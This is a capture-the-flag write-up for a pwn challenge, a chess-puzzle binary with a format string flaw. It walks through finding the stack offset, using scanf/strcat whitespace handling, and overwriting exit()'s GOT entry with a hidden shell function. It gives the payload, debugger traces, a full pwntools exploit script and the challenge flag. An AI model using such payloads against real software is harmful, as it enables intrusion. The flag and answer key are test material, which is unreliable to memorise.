# TL;DRThere's a format string vulnerability in the binary. You can exploit this to overwrite any GOT address. I chose to overwrite the `exit()` function. The format string vulnerability happens whenever the binary prints your name. 
# DetailsThe "Enter your name" portion is vulnerable to a format string vulnerability as you can see below:
![c1](https://i.imgur.com/y3iqiDT.png)
![c2](https://i.imgur.com/zbxss6F.png)
#### Explanation
You can decompile the binary with Ghidra and when you do, you can see this as part of the decompiled code (under `FUN_004017c6` lines 58, 77, and 96):
```...printf((char *)local_a8);...```
If you put in `%p`, the command will run `printf('%p')` which is the format character for a pointer address. Without any other arguments, `printf()` will simply print from the stack. You can read more about this vulnerability here: https://owasp.org/www-community/attacks/Format_string_attack. Another great resource is LiveOverflow: https://www.youtube.com/watch?v=0WvrSfcdq1I
-----
You can find that the offset for the format string is `8` by simply brute forcing it:
```================================================================ Chess puzzles to train you brain.        Become a Grand Master.                      ================================================================  1) Play                                  2) Chess Server Admin                      3) Quit                                  
>> 1                                 Enter your name:>> AAAABBBB|%8$p  ============== Puzzle One =================   h    g    f    e    d    c    b    a   ____ ____ ____ ____ ____ ____ ____ ____ |    | WK |    |    |    |    |    |    | 1|____|____|____|____|____|____|____|____|| WP |    |    |    |    |    |    | BR | 2|____|____|____|____|____|____|____|____||    |    | BK |    |    |    |    |    | 3|____|____|____|____|____|____|____|____||    |    |    |    |    |    |    |    | 4|____|____|____|____|____|____|____|____||    | BP |    |    |    |    |    |    | 5|____|____|____|____|____|____|____|____||    |    |    |    |    |    |    |    | 6|____|____|____|____|____|____|____|____||    |    |    |    |    |    |    |    | 7|____|____|____|____|____|____|____|____||    |    |    |    |    |    |    |    | 8|____|____|____|____|____|____|____|____|
Black to move. Choose and enter the best move :
- Rh2- Ra1- h1
>> Ra1
Congratulations AAAABBBB|0x4242424241414141! Your answer was correct!
Your winning move was: Ra1```
Note the congratulations message.
#### Explanation
For the format string vulnerability, you can access different parts of the stack but for this instance, you actually want to _write_ to the stack. To do so, you'll need to know where your input is on the stack. In this case, you can type in `%{n}$p` and `printf()` will try to retrieve the `n`th value of the stack. We can iterate through this like `%1$p`, `%2$p`, etc... until we see our input. 
`AAAABBBB` is `0x4242424241414141` in hex so `8` is our offset.
-----
The other thing to note is that when you select your move, you're basically selecting from 1 of 3 multiple choices:
```Black to move. Choose and enter the best move :
- Rh2- Ra1- h1```
The code that takes care of this looks like this:
```...fgets((&some_location, 0x80, stdin);__isoc99_sscanf(&some_location, &%s, input);iVar1 = strcmp(input, "Ra1");if (iVar1 != 0) {    puts("\nIncorrect!!");    exit(0);}...```
However- and here's the **bug**- you can append spaces and other characters to the end of your move selection and `scanf()` will only take in your selection and not the other things after the spaces!
```   0x4013e4    lea    rsi, [rip + 0xe5d]   0x4013eb    lea    rdi, [rip + 0x2d8e]   0x4013f2    mov    eax, 0 ► 0x4013f7    call   __isoc99_sscanf@plt <__isoc99_sscanf@plt>        s: 0x404180 ◂— 'Ra1                                     %4434c%8$hn\n'        format: 0x402248 ◂— 0xa00316152007325 /* '%s' */        vararg: 0x7ffcfa917f28 —▸ 0x7f261ca4f180 ◂— 0x0    0x4013fc    lea    rax, [rbp - 8]   0x401400    lea    rsi, [rip + 0xe44]   0x401407    mov    rdi, rax```
then 
```   0x4013f7    call   __isoc99_sscanf@plt <__isoc99_sscanf@plt>    0x4013fc    lea    rax, [rbp - 8]   0x401400    lea    rsi, [rip + 0xe44]   0x401407    mov    rdi, rax ► 0x40140a    call   strcmp@plt <strcmp@plt>        s1: 0x7ffcfa917f28 ◂— 0x7f2600316152 /* 'Ra1' */        s2: 0x40224b ◂— 0x636e490a00316152 /* 'Ra1' */    0x40140f    test   eax, eax   0x401411    je     0x401429 <0x401429>    0x401413    lea    rdi, [rip + 0xe35]   0x40141a    call   puts@plt <puts@plt>```
Since `strcmp()` will return `0` (the strings are the same), it will continue through the code, not hitting the `exit()` and "incorrect" branch.
-----
Later on in the code, when it's writing out the "Congratulations" string, you'll see that it's simply using `strcat()` to concatenate everything:
```   0x401a43    mov    byte ptr [rax + 0x34], 0   0x401a47    lea    rax, [rbp - 0xa0]   0x401a4e    lea    rsi, [rip + 0x272b]   0x401a55    mov    rdi, rax ► 0x401a58    call   strcat@plt <strcat@plt>        dest: 0x7ffcfa917f70 ◂— '\nCongratulations USERNAME! Your answer was correct!\n\nYour winning move was: \n'        src: 0x404180 ◂— 'Ra1                                     %8$p\n'    0x401a5d    lea    rax, [rbp - 0xa0]   0x401a64    mov    rdi, rax   0x401a67    mov    eax, 0```
-----
If you go through the decompilation again, you'll see an interesting function `FUN_004011c2)`:
```{    printf("Welcome, Mr Shaibel...\n\n#");		fflush(stdout);		system("/bin/sh");		return;}```
It's an unlisted function that normal use of the application won't go to but it gives you a shell!
-----
Instead of `%p`, we can use `%n`. This format string is for _writing_ to a particular memory address. With all of the above, you have a "write-what-where" exploit
What: we want to write the above function (we'll call this the `get_shell()` function)Where: into another function call
Since the binary has only partial RELRO (relative read-only protection), we can overwrite parts of the Global  Offset Table (GOT). In my case, I choose to overwrite what `exit()` does.
The GOT address of `exit()` is `0x404068` (and this doesn't change because there are no position independent execution (PIE) protections).
The address of the `get_shell()` function is `0x4011c2`
There are some calculations involved but the correct format string vulnerability for my particular exploit is `%4434c%8$hn`. This means that I'm writing out 4434 characters (plus 112 that was already written with the rest of the "Congratulations" message) which gives me a total number of 4546 characters written. This is hex for `0x11c2`. Since the `0x40` is the same across both the `exit()` address and the `get_shell()` address, I don't need to overwrite that. The format string is `%hn` because that writes 2 bytes at a time.
This will change `exit()`'s GOT address to point actually to `get_shell()`!
```   0x401a67    mov    eax, 0 ► 0x401a6c    call   printf@plt <printf@plt>        format: 0x7ffe0a67b590 ◂— '\nCongratulations h@@! Your answer was correct!\n\nYour winning move was: \nRa1                                     %4434c%8$hn\n'        vararg: 0x4041a0 ◂— '        %4434c%8$hn\n'    0x401a71    lea    rax, [rbp - 0xa0]...pwndbg> x/xg 0x4040680x404068 <[email protected]>:        0x00000000004010d6```
and 1 instruction later:
```pwndbg> x/xg 0x4040680x404068 <[email protected]>:        0x00000000004011c2```
----
Now all we have to do is trigger an `exit()` function. i.e., we simply have to fail a chess puzzle (which is really easy for me). This will run the `get_shell()` function:
```➜  queens-gambit python3 xpl.py[*] '~/workspace/tenablectf-2021/pwn/queens-gambit/chess'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Starting local process '...': pid 5883[*] Switching to interactive mode
>> Incorrect!!Welcome, Mr Shaibel...
#$  ```
# CodeHere's the exploit code:
```python#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Partial RELRO# Stack:    No canary found# NX:       NX enabled# PIE:      No PIE (0x400000)
io = start()#io = remote("challenges.ctfd.io", 30458)
"""Answers:Ra1 <- chess_3Qg7 <- chess_2Kd2 <- chess_1"""
chess_1 = 0x004015f9chess_2 = 0x0040142cchess_3 = 0x0040122cmain = 0x004017c6good_boy = 0x004011c2bad_boy = 0x004011f5
offset = 8
io.recvuntil("Quit")# Select play gameio.sendline("1")# Enter name 0x404068 -> the GOT address of 'exit'io.sendlineafter("Enter your name", "\x68\x40\x40A\x00\x00\x00\x00\x00\x00\x00B")
#log.info(hex(exe.sym.got["exit"]))io.recvuntil("h1")# Space characters are terminators in scanf('%s') + strcmp() but not for strcat()# We replace the last 2 bytes (1 word) of the 'exit' GOT address to the good_boy address (0x4010d6 -> 0x4011c2). There are already 112 bytes writtenio.sendline(b"Ra1" + b"                                     %4434c%8$hn")d = io.recvuntil("Your answer was correct!")io.sendlineafter("- Qg7", "Qg8")io.interactive()```
# Flag`flag{And_y0u_didnt_ev3n_n33d_th3_pills}`